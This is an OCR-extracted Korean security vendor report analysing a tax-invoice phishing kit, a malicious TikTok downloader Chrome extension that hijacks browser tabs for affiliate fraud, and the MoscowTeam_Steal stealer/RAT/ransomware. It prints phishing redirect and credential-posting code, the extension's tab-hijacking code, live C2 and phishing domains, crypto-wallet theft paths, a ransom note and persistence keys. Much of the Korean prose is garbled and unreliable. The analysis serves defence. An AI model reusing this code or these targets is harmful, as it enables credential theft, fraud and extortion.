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BlEs Sag BelLc,

ZE oy HE2 SHE HAMSAMARL SiL2d HoiH[2S fiEt REe= FREEL

0

7 1- ZAE HXMSALA AR

TAE SEHA TAHAME)AIN Re SRS ZEth HEQILICE fAXkE I 2X 7|ge| HE Fa2 fFotn
ACH, =2 | el ojH[E FAE AF Mo MElAE F=RLICHL HE =20k= FRE HTML

%
IIY(NTS_eTaxInvoice.html)S A&SIEE Frot= E77F ZEE|0] QELICE
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A HSA LM 7 e men Ol Al E S 2 RIS LT

. ; .
=M#E < @ cokr> | 192 |
2= A" rmme .com

@: MTS_eTaxinvoice html
606HIO|E

FFFFFFEEFTFTFEEFTTTFFFTTTFTFTTTTFFTTTTTFTTTTFFS

LT ECE

Omgtax, SR SEA

rSshM L.
TME TXHMIZ AL RILICE
HRAZANM L2 MY oh

2% S0k 2 2lLCE

=HEIE HE f2=4A= 0l ok MBI B g elniutE
AT A=A AT @20l ardE [ Lo

- WSSl 2026 0438 268
- HSio] saleim g AT D MEEIE S B0] 12681-2)2 155 AID] HHELICE

*[IE2C IHES Holpld| floild= E¥0EE Selclal A 2.

FERHAIS2)H MM Z20H0] 20N 32 M EX] U

1. RMLS MNETPCH HE
2 HEE ESIIUS 2=ENRs 88 FHIZS T A Intenet Explorer & 2

[=TRe] = o
HY M7} ARXIZ ABERICH, DKIM 2155 Sates AFE 0] A 4 MY M| A THE
FofeLIch HY 2=20l= HRIEE E5E 26 =l BREJSLICH 2he 27t 2i HRnY S2ls

FeLC

SiLi2d &3 2ol 22 fiEet REMME HiRt F471 8F 21 2H| 7|%(wangfoong.com.hk)2|

4
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(StLt22l) ADVICE OF REMITTANCE

o Sy | G RN | > B ||
StLt2 3 <info@wangfoong.com.hk> ‘ e:, © =
Ut A @ cokr 2026-05-07 (2) 27 6:04

(D 5257 £20 HAXE E¥EUL

e
€ o=

% Oh2%y

olL=21 H2HH &

TR SLIERE NS A= 25 HaEN ZAEELICK
SN M HHEE IHES NIHEE ELHERLICE
EHZEENNZELEZE Hal 2=t 2252 SLICH

ilHE o= EEIE A J_l H DIH]iE DIEIE ﬁ_

» EEHDUHZE EEIECIRH R HElos T2 S A& ELICL
pC EEMH M E Windows 2t Mac| CH2FEF ECS HE A EGHH 2HFE EHEH M E AndroidThiosS Al EELICK
L= OIHE M2 M E IHES tﬂ%‘-:uH\IE:IE“
TH 2 ZH0RE {e—maﬂ 220/ MHl ] H= E5+A 2 HIZLICH

=

= BEE 2l 1A E Ot a2 0l EIE% i A H S LICE ZARLICE

o OANREHENEAHAHHIESE 2EZ 2IHE ASLICLO0IH Z2E S E 2055 FASIH0RIHH 22 =
SHHM= U= HET HEL SN S EEN SHRUS +RSLLLE SN ZHE B2 AR E=
ZEE RTE Z HsAHHAH EM 2 SAHES AEdl= 22 2E6 SAEULE HE0 22 Js8 25,

AU E=SAHEHAZANL 2 HE E FFZME SA AHGHH A HEELICH

»  The above message is intended solely for the named addressee and may contain information that is

privileged confidential or otherwise protected under applicable law. Anv unauthorized dissemination, distribution,

12| - HTML 2|Cjo[3lE| A3 (NTS_eTaxInvoice.html)
Ild ol HEEl NTS_eTaxinvoice.html T2 AX| LHEO| gi= 15t 2|CIO[E L|CH AFEXETL O]
ol A
=

alidh= =2, LR ZetEl XHIAIZEET XIS 2 SEOI0 AEAIE SZAIt AR ZH(eh 26|
ojd MEHZ SA| O|SAIZLIC
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/* NTS_eTaxInvoice.html LHF TE ZF */

= function() {

"https://consulteclab.com.br/.../Kai/krveri.html#target@company.co.kr

window.onload
const hiddenlLink =

window.location.href = hiddenlLink;

.. p>

; color:#666;">Please wait, loading.

<p style="font-family:Arial;

20| - b Y HO[X] <% (krveri.html)
= AXISH= mAl 2H

20| ol Moll= &R AE FEE #E5 o
URLO{| ZStEl 2 F471 ol Hofx| 239

H|0|X|(krveri.html) 7t SAEIZ|0] AOH, 1EHAI0|A
otHo|| Xtso= UHEl MEE HAIEILICE

|
o

(]
[

AAte| O|H|Y A
7|20l oA EMoz

o A A
AR Ay

gt S
HELOZM LS Huoh AP ofH ?’SE”—IEF
/% URLS| BAI(#) 5 BTPE DAEG 0HY U THO RS EFE %/
function tryParseEmailFromHash(){
const hash=(location.hash||'"').replace(/"#/,"").trim();
g, '+").replace(/ /eg,'/"));

const d=atob(hash.replacel z,

'@")) return d;

if(d.includes(
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W @ =19 - vourService X +

c =

consulteclab.com.br,

AME:D
=9l
S| Abf =0 2
Com
oto|C| (0| ol &)
@ .com
HZHZ
THEERIE

Lcom

3t 22|H 7|2 (32 A ZH| 27)

ESTsecuriTYy Copyright@2025 ESTsecurity Corp. All fights reserved.




B} IS 2RAE 39, 3PSl P AL Ao ST 2o 20l Unh K2l
.(113)" S| 2F HAIKIS FAIFLICL Ofi= AFBXI QEIS olielo] B ALBSHs Th
et BIWSE RIS Haioz REa| 2t olsHel ARl

s

/* M AE2|E| (sessionStorage) S 0|20l 22 AT Sl =4 #/
if(tries < 3){
setMsg(THIZ2HZIt EFHSULCH (${tries}/3)", true);
pw.value=""; pw.focus();

return;

4= A’ EE EF 2 Y AOIE 0|F

Al i B2 0| 2zEl= =7 +8E AE EOIHY F4, 2D, TRl §)= SAX MHe| +F
ﬁiE!E(peel.php)E AJAXPOST Aoz JA| TEE|T SVt 22El 20il= DHRE 4% 7[el AX|
ZH[0|X|(https:/[7 IF=MHIRI]) 2 XSSZ O|SAIZLICE

OIZ Sall Lfelixl7t | SAHSE GRUCh= MRS Al XS] oFEA| 2HELICE

/¥ THE AE® Z2(10, Pw, SO, AIEEs Z)E HMAES MU (peel.php) = AJAX POST HZE #/

const r=await sendCred(email.value, pw.value, domain.value, tries);

[+ W2 2H B2 = UHAE 2 4% 0lge Fa SHoAR 2ACIUE *
function deriveRedirect(domain, email){
if(domain) return "https://' + domain.trim() + '/"'; //

LI

return "/';

A
Al

HI

3) 34 glzet

O|tH Z3Z0|ME= E2HE (consulteclab.com.br) 2! 21% (aadicorporation.in) 2xH2| F|2Fsh =T A AO|ET}
SHEEI0] 3F =7 ZAE A HOH 8 7[X|2 AEE AOZ =ARIE|UELICE

o]

I|4) Y WO|X|et 8 AFZEE fEXH|A T0| FZ(/wp-includes/rest-api/) o122 FAH2| CHHA| Z=0]|
SAM UA0{, HAO|E 22Xz 24 AME QIX[6F| o{FSLICE
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~J @ Index of wp-includes/rest-ap. X ar = O x

&« c 23 consulteclab.com.br/wp-includes/rest-api/ [Olwy/ w ®@

Index of /wp-includes/rest-api/msa S uaamay ~mmg/Olw

Name Last modified Size Description

Parent Directory -
krveri.html 2026-04-27 14:50 8.5K
peel.php 2026-04-27 14:40 1.3K

4) PhaaS EUE £ - Greatness Kit &3
Ol md 34 AR{oME CHEat 22 ERS0| 2RI USLICE

- IHAH THES : krveri.html (Z|4 242 THO|X]), peel.php (=& AlH), collect_logo.php (21

IIﬁ

- ClAE2| T§E : /Kai/, /Olw/ B2 Al

- 7|S: URL SliA| 7|2t O|H| XtS 2=Z(Autograb), EMHIQ! 7|2 S& 7HRlet, Ml 7|8 Al Sl XS Sot &leld

7|2t
O|2t 22 IEHE PhaaS 7|8t Xt52} 21e] HMYXQl EFOZ, ZHXK= "CGreatness” Phishing Kit 2 &&510
ol HYS RE B2 ACE FHELICEL St 34 LAI0| CHISH 7|} MATES CHACE HEA| HitE
XO g

ESTSECUHITY Copyright@2025 ESTsecurity Corp. All fights reserved




2. TikTok SA CI2ZC{Z 9iaist of 3= st T2 Fof

3Z(Chrome) BAEN0]| Y4l SEE TikTok S LH22E 2 T2 LR ofd 7|50 &AM U=
WoZ 2RIL|AGLICY.

oligt etat T2 a2 “TikTok Video Downloader” “TikTok S CH2F CHRZH" 2h= 0|29 HIE F0|H,
BEHMOZE= TikTok G4 CHREE 7|52 MSSH|TH LIS §E C2 M S, AFEX FE ME, Hetex |

z=
2|C[EHd S| ofd 7IS0] sAHM ASLIC

TikTok Video Downloader — SEAF K&

@ =4
45% ®
Compatible r miatible wit (=] 39 i =EQMES CI2ECEID 2 5= w2
ChatGPT tas ] © et IE{DI3 10| TikTok SHAIS CH2ZLE38E1 Chrome0ll A TikTok 282 MESH= 2 TikTok video

b/ downloader

TikTok S84 e ch220
TiKTOK~ %
45% ©
Video Downloader TikTok Video Downloader® £t 2&& MESI7Lt ChromeOil A SS4E CHE CHRZESHHR. /E O3

NO WATERMARK 210 TikTok SSY CH22E

otd 7|5 MM 2M
1. AIBAL HE S

o Sz m2T1elo) WAISIE, HPIRH 8 Hu(0S, SekeR M, 0l HE) % 7] 15 HENE slve

o
HERILICEL TSRl YE= tEa ZELh

e SpSL] e
ZH ID (usr) AX| AlZfo| QITHE 7[7| nF AEX}
SHEF AlHXY (9) D™t ttk_saver
Hetex % 0S B2 Chrome HH, 2SXX| 7
AFEXL A0 AF 0f|: ko-KR ko;q=0.9
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GET MethodE AFE3H0] Of2fie Z2 HEHZ C2 AH{of| ZA| HEELICE

:method: GET
rauthority: cfg.datapointflow.com

:scheme: https

tpath: facf.json?s=ttk_saver@usr=eelxjj-7eb

user-agent: Mozilla/5.8 (Windows NT 18.8; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.8.0.8 Safari/537.36
accept: */*

origin: chrome-extension://cfbgdmiobbicgjnaegnenlcgbdabkcli
sec-fetch-site: cross-site

sec-fetch-mode: cors

sec-fetch-dest: empty

accept-encoding: gzip, deflate, br, zstd

accept-language: ko-KR,ko;q=8.9,en-US;q=8.8,en;q=08.7

priority: u=1, i

=4 IDoll= EX| AlZH(Unix EIZARI)0| QIREE|0] Q10 C2 A 2SX7F FLIOHH 2t ALgA}e| Fetoh X
OIME ]1|.0|-'<'5 A O AL_||:|.

= T AMHd
EESH O] =& ID= chrome.storage.synctl| MEE[0] St Google A™MC=Z 201E ZE 7(7(0f St =X

ID7} XS S7[StElLICh & PC o Coll EX[SHHEE, 22 712 AES M= UE PCH ESTHX| 52 ID2
HA| F=H0| ZtSELIC.

2. g c2 Mu{ele| Sl
et 2a 222 MH|A 27(Service Worker, E2t2X BiTI2HR2E0)M &A| MdliEl= ATRIE)TL AIRHE
HOHC C2 MH (cfg.datapointflow.com)ol| Xt E&SIK 214 BBS 4-lotH, 6AIZHIC ths Ll 485
ALlRLCk

C2 MHEEE £AI5H= H|0|5= Ck2af Z4Lct

=41 G0 A
s_id 3K Mg A™E AlESk= MM ID
verify 0] 77|18 2d A Chade=z MEsH= S2i0
prom_true A 2[C>MdE A 1= fE ALK
dmn ZICEMEE E2AE ER EHel =55
bl ool Mzlgh SH2|AE TOlel 55

7|1 == M2 verify?l prom_true & 7H2| Ee2i3E 22[610 R2IoICH= AIL|CH

verify= CHAL 71715 28D, prom_true= AA|ZH ON/OFF A9 &S ghct.
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N
bt
>
12
0x
kU
In
ofn

o

X7t 2= B prom_trueE falseZ L ofd RIS JAl SEHUCHL 0| ARRFX[E CHA| true2
Miggete = ABLICEL F AT EX| 2ol w2t fH0M oy RIS IREA AL B = U=
TEYLIC.

eteh Z20% EX] = 6AIZH0] X|LHE CHA| ZHRES St dmn(=H[Ql) HIO|EE a-LIgh|C,.

:method: GET

:authority: cfg.datapointflow.com

:scheme: https

:path: facf.json?s=ttk_saverfusr=eelxjj-7ebf- '
user-agent: Mozilla/5.8 (Windows NT 18.8; Winb4; x64) AppleWebKit/537.36 [T
accept: *=/*

origin: chrome-extension://cfbgdmiobbicgjnaegnenlcgbdabkeli
sec-fetch-site: cross-site

sec-fetch-mode: cors

sec-fetch-dest: empty

accept-encoding: grip, deflate, br, zstd

accept-language: ko-KR,ko;q=0.9,en-US;q=08.8,en;q=0.7

priority: u=1, i

Tcko) Chrome/148.8.8.8 Safari/537.36

istatus: 289

date: Wed, 13 May 2826 23:58:55 GMT

content-type: application/json

server: cloudflare

nel: {"report_to":"cf-nel”,"success_fraction™:@.8, " "max_age":604308}
access-control-allow-origin: *

cf-cache-status: DYNAMIC

report-to: {"group”:"cf-nel”, "max_age":6@4800, "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=zAuZ6BsTaNjkyY2ehxV01gTPStsbG5U2iFaDfamjIdalkgX3PleYe7mg8 TwD0eX2Bxki
MESuWIWZLSSKFwatV2QfmYX2FRXk3D5wDmHdOz IT3yZPeVgiURvEBTichTexL1XnXXSvTSh¥2BCI6ra%3D" ]}
content-enceding: zstd

cf-ray: 9fb59d2749@6dd32-HKG

alt-svc: h3=":443"; ma=86400
["BBBBart‘cum","IBBBBrecipe.cUm","lBBBpipbuildEr‘EU ", "1e8loptometry.com.au”, "188x166Titness.com","1éweb. io","11st.co.kr","128dreamers. systeme.i0","123ink
Cartridges.co.uk , 3optic.com”,"123rf.com”, "123tinta.es", "123waldo.nl", "123wonen.nl", "12go.asia", "12go.com”, "12warm.de", "14dayrapidfatlossplan.com”, "18@@packrat.com”, "18@day
s.com.tw","18bookofjob. com", " lexamprep.com","1lovehealth.com", "1password.com”,"1pmobile.co.uk”™, "1pmobile.com", "1stformations.co.uk™,"1stopflorists.com”, "1xbet.com","2@8daypersu
asion.com”,"2ldressroom.com”, "21sunco.com”, "24genetics.es”, "24pharma.be™, "24s.com”, "2betties.com”, "2game.com”, "2getherinsurance.co.uk”, "2ndnumber.tel™, "2ndsprings. com™, "2seaso
nshotels.com","3-d-puzzles.com™,"31philliplim.com", "333travel.nl","365datascience.com”,"365financialanalyst.com","365rider.com”,"36life. tw","3cfarma.it","3d-kstudio.com", "3dbo
atdesign.com”, "3ddruckboss.de”, "3dgunbuilder.com”, "3dhanddesign.de”, "3dlabprint.com”, "3docean.net™, "3dprinternational.com”, "3dxchat.com”, "3jade.com”,"31it3.com”, "3rdrockessent

ials.com™,"428weedlogan.com”, "44pro.com”, "dcyclefatloss.com","4ddig.tenorshare. com”, "4dherhs.com”, "4f. com.pl", "dkdownload.com", "4kidspoint.pl”, "4monster.com","4thandreckless.c
o.uk”,"4thandreckless.com”, "4uhealth.com”, "4videosoft ", "58off.tw", "5@pluspartner.nl”,"558strong. com”, "Skpl

ayer.com”,"68plusplaza.nl”,"6ixty8ight.com”, 6perscent 794 ! xperiments.com”,"7or9.com","7secondswealthprayer.com
Y, "Tway.pl”, "8e@ekicks.com","883police.co.uk™, "883polilE a EE N - i

ndustries.com”, "99designs.com”,"99flower.co.kr”,"9d.9d 0 5

.com”,"aaselaa.com”, "abaenglish.com”, "abask.com", "abbaNMiteles. co ab Lo} e =5

"Bwines.fr","8wines.it","8wines.nl","Bwines.pl"”, "9451
", "aacadiapayments.net"”,"aaptiv.com”, "aaronthebarber

" " > abb atelier.com”,"abcarrental.com”, "abcsportz. com”, "abcw

igs.com”, "abebooks.co.uk”, "abebooks.com”, "abebooks.de”,"abebooks.fr","abebooks.it","abelssoft.com”, "abexsoft.com","abfallscout.de™, "abingdonco.com”, "ablebits.com", "aboundpetsu
pplies.com”, "aboundwellnessandbeauty.com”, "abovethecloudsstore.com”, "abrosoft.com”, "abscorganics.com”, "absence.io™, "absolute-teamsport.com™, "absolute.com”, "absolutelojack.com™
, "abundanceairway.com”, "abundancefrequency.co”,"abyssglass.fr", "academiedugout.fr","academy.com","acanva.com","acasis.com”, "accencio.com”,"accentsstyle.com™,"accessoriesforbyd
.com”,"accessoriesforvwid.com”, "accessorize.com","accio.com”,"account.benefitsme.com", "account.mylio.com”,"account.yougov.com", "accounts.yotpo.com”, "acculaders.nl”,"acebeam.co
m","aceflex.de", acer.com”,"acerashop.tw"”, "acethinker.com", "acko.com", "aclsnow.com”, "acmejoy.de","acmejoy.fr", "acmejoy.it", "acmetools.com","acmilan.com","acnenomore.com”, "acop

ower.com”, "acorns.com”, "acredit.ro”,"acrmart.com", "acrylfoto.nl", "actdesignshop.nl”, "actieabonnement.nl","acties.essent.nl","actionking.se™, "activecampaign.com”,"activechd.fr™

,"activelifeusa.com™, "activeposture.co.uk™, "actualcouture.com”, "ad.fr","adalo.com”, "adbeacon.com”, "adcreative.ai”,"addax.com.tr”, "addiesdivewatches.com", "addisonross.com","add
i bioncls v s R P o ww_ gy £ ma™ "adbacdata 21" adinkealend wowoasoe v e v e gmsio T vy "

Ol BHo| AL ARBAPE S3 AOIEN] AH MOt A7 dmn ZIAES E3[sio] BN WS 37t
W 3 BRO| R YIS Sof o AOIES WHSAIZIS ZULIC OIS Soff T2A= MAZ ofeR ¥
2SS ofK| QNE NFE $4BS BN YSEC,

< & £
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2 HMl oHAE £
- A
27 22 gy 2AL
- AREXP EOQl 2|AEN /= FAE U= L
> B ZA| 2|ALZE URL HE &K, C20i|A 2h2 EOel =5aF CHE (%2 3Y W 2= 0|3 UE Al)
> HEIRAN ® E5 X HE | Xt& MA: go.linktransferhub.com/link/?sid=<S24Xt
MIFID>&dest=<=H|2!>
- Z|C|EM 5{E7F ZAXte| Hig & 23 E Solf CHAAOIE TiE%
- CHHAIOIE H|g A|ARIO| "SHXZL REAZ] HEAME 7|15
SAXIA Hg =& XI5
> 10X = ® &7
/7 ZOIel S=E(dmn) 0l Z&E AOIE #HE Al
domainlList.check(hostname).then(matchedDomain =>
if (!matchedDomain) return;
[/ EZ2 32 W DgE M8 X2
eventList.hasVisited(matchedDomain).then(visited =>
if (visited) return;
eventlList.markVisited(matchedDomain);
openRedirectTab(origin); // =& & Z2
1)
function openRedirectTab(destUrl) {
buildRedirectUrl(destUrl).then(redirectUrl => {
chrome.tabs.create({
url: redirectUrl,
pinned: true, //
index: @, //
active: false //
}) -then(tab =>
setTimeout(() => chrome.tabs.remove(tab.id), 10 000); // 10%& = AtS AHH|
1A
function buildRedirectUrl(destUrl)
return chrome.storage.local.get("s id").then(data =>
const params = new URLSearchParams({
sid: data.s_id || "", // A ; MM 1D (BER HE AE AE)
dest: destUrl // H=sH H = URL
¥)s
return “https://go.linktransferhub.com/link/?%{params}”;
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AL A HEMB0: E1 7|SMCRE AR B EfEloz Fsh= FRQILICHL ZAXH= of24gt
oM HRE SIIXI 27| flol CEat 22 Mt 24 7[HE ARSMSLICL
7|H =23t
active: false FO| Ha ALSKt 2fHO| HetE|X| 242
pinned: true Fo| 07 B(OI0|2TH EA) 2= WHE|0 H=-URL == 2
index: 0 O Qtof| MAMEIX[TH oixH BHoll 124K QIX[SE| o3
10 Xt AHA| =& HA
3Y M2EY SY THQl HHE &S 32 T2 s IHE ZX| 2|
C2 A Hlof EIX| Al A HgHMet = mgtdel 7ts

SiiE =iy Z=3o| AX[eh HEfollM SAHXE C2 MHE Sl prom_true=true Z2i|28 LHEU= &24,
CHEol 7Hit Mg 20| SAlof Rddh= F=YLIC

J
n
1£°]
(@]
o
Ir
o
30
=]
|0
HU

3E gAE00| ZA SEMIE Y Z2OMOZ AEAP S4 0Rl| S

2|CAMS AIRFLICE HX| ARzt ofY SiE RS o=XMOo=Z 22[d BXIE OEA PtEEs dAlIL|CE

- Y1 LAQXIE S5t 28

C2 NHE Edfi ofd HRIE AAZICZ HTI J 4 UYFLICE 2ot Z2MO| EfX|Jt Q|E ZR FA| HIZ3tsH
TMRUCIE A opsh= WAO2 &7 |7H 20| 7HsEiLC.
- Google 7 S7|2}E 8%t LC

ZH™ IDE chrome.storage.syncOll &l S Google AHCE 20IE B E 7(7(0f| Xt& S7|SretL|ct. sk
HRTF 2t T2OMS A XS 7(7(0f Zot=[X| H=Ch= FollM Fe|7t HegtL|Ch

OfH A2z HEfRX 2fe T2OHS 985k WA0| FE uHsX1 JASS & 2oFL(C

SAHX= AFEAte] QldE TS| 2fol |

Lot mgt 0| 2y
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3. A2 .RAT-2HMYI0IE ZAelol 2T /e oMITAE BM - MoscowTeam_Steal

A2 AEIR{(Stealer), & H|0{(RAT), 2HM2/0{(Ransomware) 7|52 stLte| Hio|LZ|of| Eist 23t
MIACTL YARJSLICE

ot AEIY LHEOfl= "MoscowTeam_Steal"0|2t= KA RIE{OIR7F EEE|0] O, OF%] S7HEl 2/
QIEIZ|MA H|O|E{H|O| A0 S2E|X| b2 0|37l U=S (Custom) AHTEZ SHOIZ|RSL|CE,

FAl SH2 SR A% > GolE 23 > U ST U T st AN KIS e, 4% $ ALY M

1) E2H A3 - ojlz|A 2 (Fileless Loading)

AHTEE A|X MAUMA(EZH)I} LR PE(R)Z T 28 O [EINE AFZSI AN ot 75S LSO
ChaCha20-IETF 27415 53t + Base64=Z 0|50 A3lsto] MAGSI JUSLIC

Ad Al LIS PEE HZ2|0lM S=3tt 5| 2|Z=E|E PE 2 (Reflective PE Loading) HAISE C|AZO]|

5 A
OiAS H7IK| g 2 HAHPfLct

2) AR A1 - GloJE} &3

LS PEZ} AUE|H ZHPCO| Chieh HIO|E +=EOo] Al AXE|H, E2teX XASE, Y=o X2, HitX
ClO[E{7} EE|0] C2 MHZ HEELC

= SF| Chat
HEtRK Microsoft Edge, Chrome, Chromium, Torch, Elements Browser, Firefox, SeaMonkey

Bitcoin Core, Litecoin, Dogecoin, DashCore, Ethereum, Monero, Exodus, Electrum,

A=l K|z . )
Electrum-LTC, Guarda, Atomic, Coinomi, WalletWasabi, TrustWallet

A Discord, DiscordCanary, DiscordPTB, Lightcord, Signal, Element, Telegram
NES= ) M| =tH A3 SREE CPU-OS-EH|Q! HE
7|E} FileZilla(FTP), Steam, Windows AHZE 2t2|Xt
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A4 YIE S
X2 EF ZE (HNZER)
Bitcoin Core %APPDATA%\Bitcoin\wallets
Litecoin %APPDATA%\Litecoin\wallets
Dogecoin %APPDATA%\Dogecoin\wallets
DashCore %APPDATA%\DashCore\wallets
Ethereum %APPDATA%\Ethereum\keystore
Monero %USERPROFILE%\Documents\Monero\wallets
Exodus %APPDATA%\Exodus\exodus.wallet
Electrum %APPDATA%\Electrum\wallets
Electrum-LTC %APPDATA%\Electrum-LTC\wallets
Guarda %APPDATA%\Guarda\Local Storage\leveldb
Atomic %APPDATA%\atomic\Local Storage\leveldb
Coinomi %APPDATA%\Coinomi\wallets
WalletWasabi %APPDATA%\WalletWasabi\Client\Wallets
TrustWallet %APPDATA%\Trust Wallet
3) Xl S8 % o eizs}
C|o[Ef EF7t 2t=EH LR PE= K4l A€ (/api/beacon)S &3l C2 M| 5 M&e|ct.
C2 Mt = ool SE51H encrypt.dimts LHAELHH, C2ZEE DLL IS LHE PE ARO[ HAlE S5
T2 M|A HI22(0f] 2Eg|Ct
SIEH|IE T& Al ZEPC AlAR EHETL CSat 22 JSON gAloz C2 M| MHEH, 0| Sl 32Xh=

e 22ES

E Aol 2|

gfLct.

{

e i

"username'; "kt
“arch"; "x64"

ver': "1.0"

/| % 19 At

"hostname": "DESKTOP-**x+**xt [/ 5K} PC O]

J1 TR A
JI N2 of3 e
/] AT B
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ZCE encrypt.diliYe C225E RSA 2H7|E A5t =

C20i| SE3t 5l encrypt_exe.exe IAS 37} CHREESH0] AdliL|Ct.
encrypt_exe.exe T2 B Z2MAZ A0 Pools +AHFLICE
encrypt.diliZ2 C222E| RSA 707 =LIsH0f2F L=t Tt o= UX|2H O]

ol <
encrypt_exe.exe= HIO|L42| LHE0]| RSA 7| Z(147H)0| LHEE|0] QI0], C2 HZO|L} LK} 201 Q10| Al ZA|
IS SUHO AR

oy g A=A
H LHE PEE H|Z22|0M 553} = mjz|A Y SAXt M=
AHATIU(ER)
LS PE () | A2 + RAT/ZY 53t ATl SAXE HIE
encryptdil | If St - C20{|Af RSA 7| £ = F2t Al LHE PEZt C20{|M CHRZE
T}l OFS3l - AlsH ZA| LHAH o5} (C2-28Kt &
enenpLexe.exe Oj E%I;;?wH RSAA5|’| Lﬁﬁ%alg HEEERE | encrypaol cooi ciezs
System.exe iT;Zg_exe.exeé HE OISR MEE X - MRS encrypt.dlio] A4
Z=H| <
LHE PE Ot £x S5, 48 =28 &
LHE PE AARIEE HeteX| Hjoje S & HolH HE
LHE PE CloE 23 22 Ms M&
LHE PE 2l StEHE 52
LHE PE encryptdll CIRE=
encrypt.dll VSS MH|A SEh + I et AIE (.erkm)
encrypt.dll O[SHAt &Ml B2 C2 85
encrypt.dll encrypt_exe.exe CH2ZE 5l Al
encrypt_exe.exe LHE RSAZ (= T A=t ZA| 7HA|
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ol solof| kA D[RV} Bidoz E4gh &~ QIEs S+ L2 AF KJErghi|ct.
- 28 M= SARE(VSS) H|2Hd2t) StopService(vss) 2EE FA| B
- H|O|E{H|O|A-EOF MH|A Z2: sgl memtas, mepocs,sophos,veeam, backup AH|A ZK| St

- 2 D2 M|A ZH| S=: sqlservr.exe, oracle.exe, ocssd.exe, dosnmp.exe, synctime.exe, agntsvc.exe,
isqlplussvc.exe, xfssvccon.exe & 871 TE2MA =

2) g=3} Che 2ER} (5 28%)
=5 Cheh =Xt
=M .doc .docx .xIsx .xls .pptx .pdf .txt .csv .rif
o|O|x] Jpg jpeg .png .gif .omp .psd
o|O[E{H|O] A .sgl.db .mdb .accdb
2= / opto|E .Zip .rar .7z
CAD .dwg .dxf
7hefm .vmdk .vmXx .ova
e Jak

AolEl MU= .erkm RXZL FIFEILICE (Ol report.docx > report.docx.erkm)

|| Criginal_1 File.bmp.erkm
| | original_2 File.docx.erkm
[14 Original_3 File.hwp

| | original_4 Filejpg.erkm
|| Criginal_5 File.mp3

| | original_6 File.pdf erkm
| | original_7 File.png.erkm
| | Original_8 File.pptx.erkm
|| original_9 File.rtferkm

| ] Criginal_10 File txt.erkm
| ] Criginal_11 Filexlsx.erkm
| | original_12 File zip.erkm
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3) =zl HIE=

Al2EI0| 25| 2tE =5 HEiv) El= AS EX[oh| 26l Of 2= Y=o} thaloflA RQIELICt.

Windows, Program Files, Program Files (x86), ProgramData, AppData, $Recycle.Bin,
System Volume Information, boot

4) E2jo|E TA| E7 U

A: ~ Z: MIH| =2| E20|EE St F|, 2t E2[0|E FEO0||A FindFirstFileExW / FindNextFileW &2 52|
Z0E MF EMELICEL M2l =201 sHSHK| o= SC0lM 2=t Ca SFEAL THU0| UHEH JA| =3t
SHSHH, o Al w2t 24 PColl & 2IF =210|E, USB, WIERIZ E210|E7tK| =3t Chatol et 4
o

(=]
UELICE

oot = HE MAS EHEd| ARoh= Aol XX g1, #= Tt XHIE 2610 & 39| C|A3 HOHMIIE

SIS WAOR TRA| 27 =72 0|88 Y SRUK| KTHLIC

- .erkm I Ay (F=o} HO[E] XiE)
- = 20 gl o Ao > AR (1XF HoT))

6) YT E

SiE Hdflols Y=ol tg 2 7|E UM ixt eS| HEES Wddh= 20| o, GUI HY HEl=Z

HAEILICY.

HELE L Z2 S0} HIETQI 4 FaE= C2 MHZRE HAZICZ (AN, Yot ~HADICt CHEA|
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All your documents, photos, databases and other important files
have been encrypted. They can be fully restored after payment.

0.00063997

bclg6z3uchcec2z9mftsmgyBur?amtv? c45Smx@hv7 j

After payment is confirmed, your files will be restored automatically.
No manual action needed - just pay and wait.

y: belgeziuchcec2zomftsmgyOuriamtvycds V7 Copy:

All your documents, photos, databases and other important files
have been encrypted. They can be fully restored after payment.

©.00384 BTC

bclgwaBextpvivevIayx9gpdchokIy2dumdyedanv]

After payment is confirmed, your files will be restored automatically.
No manual action needed - just pay and wait.
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xi&Y 5

OtMTACE NZ L2 HEEHEIL MZ CHE AE| 271e] S&i=l X[AEZ| Run 7|2 MASHH, MEE! 0|F0|=
ot A7t AtSOE TWHE|=E MAIE|] JUSLICE
X|&M1- AElR| /RAT 7|5

o=

A s 2N XS BA AL TN I 20 ZARLD, HXIAER XIS A g2
=

[ohY MA] %APPDATAY%\Microsoft\WinSvc\svchost.exe

[OfY SA EEZT(XFZ| XFAl) - svchost.exe

M HZ] svchost.exe > HIDDEN | SYSTEM (EMRH7| &2 X2|)

gHIX|AEZ|] HKCU\SOFTWARE\MicrosoftWindows\CurrentVersion\RunWinSvcHost
= %APPDATA%\Microsoft\WinSvc\svchost.exe

X|£42 - #ydslo 7Is

encrypt.dil IFU0| C225E encrypt_exe.exe IS LHZEIOHA] O|F System.exe 2t= O|ECE X&5tL,
Mol Run 7|12 SSLIC

[ M) /api/exe =41 B2H=E > System.exe O|ECE X%
[EIX|AEZ[] HKCU\Software\Microsoft\Windows\CurrentVersion\Run\System
= System.exe

System.exe= UEQIE AIChHE QASoIE HAX| @00z ziol 30| ZA| & DTZMAZ & 4R =610
% Run 712 2% AK[sHiof Lch.

ofdAEE= ARE] ME(/s/*)2t U ME(fapi/*) F 7Hel SEIHQ! C2 84 MES AFEEILICE
1) 282 xHid

I|sHXF SE2E £ H0|E YZREMK| 371 AEZQIERZ MEIL|CY,

A=ZQIE =kl
POST /s/gate Ifsix} 2= S5, 4% £&(3,016B) =2
POST /s/push £ O g=2E (MY FYE dE= ER)
POST /s/done B 22 Mz HE
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i
H
oot
ot
K]
ob>
ot
=
O
N

POST /s/gate 24 3|Gi= Z4E PCE QI Algsk= HAl TIAHZZIE S{A|(X-H)
A& olof| SECE mShXIE St&E HH HI0|E(3,016HI0|E)E Lz = HL|CE

Content-Type: application/octet-stream
X-H: a52¢a16f00cdc9ch16c92345fcebe593¢c279830446300bf8e8304fedae585d90
/| HA ZHIZRIE SHA| (64Xt hex) - ZEPC 1 AlEX}

Content-Length: 18
< SE:3016HI0|E (Y=tEl moiAtE & 4% HI0|E)

POST /s/gate 2Y0ll= EF|El Tide| Rd-EXME MEelet HAH dlei7F ZELICE

Content—Type' application/octet-stream

X-S: R MM ID

X-M: 2& (sys | screen | chromium | ...)

X-B: E2F2X (Microsoft Edge | Firefox | ...)

X-F: TIH (sysinfo.txt | Login Data | Cookies | ...)
X-H: & M SHA256 siA| (RZM AZ)
Content-Length: <37(>

< SH:OHIO|E (200 OK) / 2=2 Y==tel HO|LHZ| (BE TS 8i3)

2) 2 A

DE Q80| X-Api-Key Q15 &7t Eotk|H, <ot & HHEEE AEf E07kK| CHRFSt JIEZRIERZ
TAEL|CY

AEIOIE ofst
POST /api/beacon 60x F7| SIEHIE
